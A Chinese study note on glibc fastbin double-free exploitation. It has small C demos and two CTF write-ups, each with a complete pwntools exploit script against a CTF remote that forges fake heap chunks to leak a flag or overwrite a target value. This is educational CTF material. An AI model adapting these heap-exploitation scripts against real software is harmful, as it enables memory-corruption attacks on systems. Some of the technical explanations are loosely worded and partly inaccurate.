0%

double free学习笔记

[TOC]

前置知识

原理

_double free_其实就是_free_两次同一个_chunk_。

现在我们通过以下实验来了解_double free_

#include <stdio.h>
#include <stdlib.h>
int main()
{
void *chunk0,*chunk1;
chunk0 = malloc(0x10);
chunk1 = malloc(0x10);

free(chunk0);
free(chunk0);

return 0;
}

执行上面的代码,程序报了以下错误,这其实就是__int_free_函数检测到了_fastbin_的_double free_。

image-20240714230715552

#include <stdio.h>
#include <stdlib.h>
int main()
{
void *chunk0,*chunk1;
chunk0 = malloc(0x10);
chunk1 = malloc(0x10);

free(chunk0);
free(chunk1);
free(chunk0);

return 0;
}

​ 而我们在两次_free_中间,_free_一次其他_chunk_,程序就不会报错了。因为_fastbin_在执行_free_的时候,只会检查_free_的是不是_main_arena_直接指向的_chunk_,如果是便会报错_double free_。

  • 当第一次_free(chunk0)_时,main_arena -> chunk0 -> 0

  • _free(chunk1)_后,main_arena -> chunk1 -> chunk0 -> 0

  • 再次_free(chunk0)_,image-20240714232555992

2.通过fastbin double free后,我们实现了使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。如果更进一步修改fd指针,则能够实现任意地址分配堆块的效果,这就相当于任意地址写任意值的效果。

double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free,

利用条件

_Double Free_能够成功利用的条件:

  1. _fastbin_的堆块被释放后_next_chunk_的_pre_inuse_位不会被清空,表明该_chunk_还可以被_free_。因为有_uaf_漏洞,_chunk_被_free_后,指向该_free_的指针没有被置为0。(**prev_inuse**是一个标志位,用于指示前一个_chunk_是否已经被分配。如果_prev_inuse_为1,则表示前一个_chunk_已被分配;反之,则是空闲的。_prev_inuse_可能会被编码在_prev_size_的某个位上,如最低位。)
  2. _fastbin_在执行_free_的时候,只会检查_free_的是不是_main_arena_直接指向的_chunk_,因此_main_arena_不能指向要_free_的_chunk_。

gyctf_2020_some_thing_exceting

思路

  1. 绕过检查,_double free_。
  2. 释放一个_chunk0_,并修改其_fd_指针为_fake_chunk_的_prev_size_地址。
  3. 释放_fake_chunk_,打印出_flag_。

对_exp_的解释如下

fake_chunk = 0x602098   #flag的地址是0x6020a8,0x6020a0的值为0x60即size,故prev_size字段在0x602098
add(0x50,b'a'*8,0x50,b'b'*8) #这里两个都要和后面再malloc的chunk的大小一样
add(0x50,b'c'*8,0x50,b'd'*8)
delete(0)
delete(1) #main_arena指向了chunk1,故后面可以再次free(chunk0)
delete(0)
add(0x50,p64(fake_chunk),0x50,b'e'*8) #fastbins中的chunk0被释放
add(0x50,b'f'*8,0x50,b'g'*8) #fastbins中的chunk1被释放
add(0x50,b'f'*8,0x60,b'g'*8) #因为fake_chunk的size为0x60,所以第一个大小为0x50。第二个大小0x60是由上一次malloc后的malloc_chunk的后面地址里的值决定的
show(4) #因为有uaf漏洞,所以free后指向这些chunk的指针并没有被置0,管理malloc_chunk的表中的chunk0,chunk2,chunk4都是一样的内容

exp

from tools import *
# p = process('./a')
p = remote("node5.buuoj.cn",27818)
debug(p,0x400EB6,0x400ECE,0x400EDA)

def add(ba_size,ba_content,na_size,na_content):
p.sendlineafter("> Now please tell me what you want to do :",str(1))
p.sendlineafter("> ba's length : ",str(ba_size))
p.sendlineafter("> ba : ",ba_content)
p.sendlineafter("> na's length : ",str(na_size))
p.sendlineafter("> na : ",na_content)
def delete(index):
p.sendlineafter("> Now please tell me what you want to do :",str(3))
p.sendlineafter("> Banana ID : ",str(index))
def show(index):
p.sendlineafter("> Now please tell me what you want to do :",str(4))
p.sendlineafter("> Banana ID : > SCP project ID : ",str(index))

fake_chunk = 0x602098
add(0x50,b'a'*8,0x50,b'b'*8)
add(0x50,b'c'*8,0x50,b'd'*8)
delete(0)
delete(1)
delete(0)
add(0x50,p64(fake_chunk),0x50,b'e'*8)
add(0x50,b'f'*8,0x50,b'g'*8)
add(0x50,b'f'*8,0x60,b'g'*8)
show(4)

p.interactive()

wustctf2020_easyfast

==uaf + double free==

思路

后门函数:

image-20240710175956377

整体思路:

​ 构造一个地址为0x602090的_fake_chunk_,并将其添加到_fastbins_中。然后申请同样大小的_chunk_,得到地址为0x602090的_chunk_,便能把0x602090地址的值改成0

调试找到我们要构造的_fake_chunk_的_size_大小,如图为0x50,那么我们接下来就要申请0x40的_chunk_。

image-20240710180059536

exp

from tools import *
# p = process('./a')
p = remote("node5.buuoj.cn",25948)
debug(p,0x400B38,0x400B44,0x400B50,0x400B5C)

def add(size):
p.sendlineafter("choice>",str(1))
p.sendlineafter("size>",str(size))
def delete(index):
p.sendlineafter("choice>",str(2))
p.sendlineafter("index>",str(index))
def edit(index,content):
p.sendlineafter("choice>",str(3))
p.sendlineafter("index>",str(index))
p.sendline(content)
#申请两个chunk,
magic_addr = 0x602080
add(0x40)
add(0x40)
delete(0) #free chunk1
edit(0,p64(magic_addr)) #构造地址为0x602090的fake_chunk,使fastbin_chunk0的fd指向fake_chunk

add(0x40) #因为double free,从fastbins中返回fastbin_chunk0,成为chunk2
add(0x40) #从fastbins中返回fastbin_chunk1,成为chunk3
edit(3,p64(0)) #修改chunk3的内容为0,即使0x602090=0
p.interactive()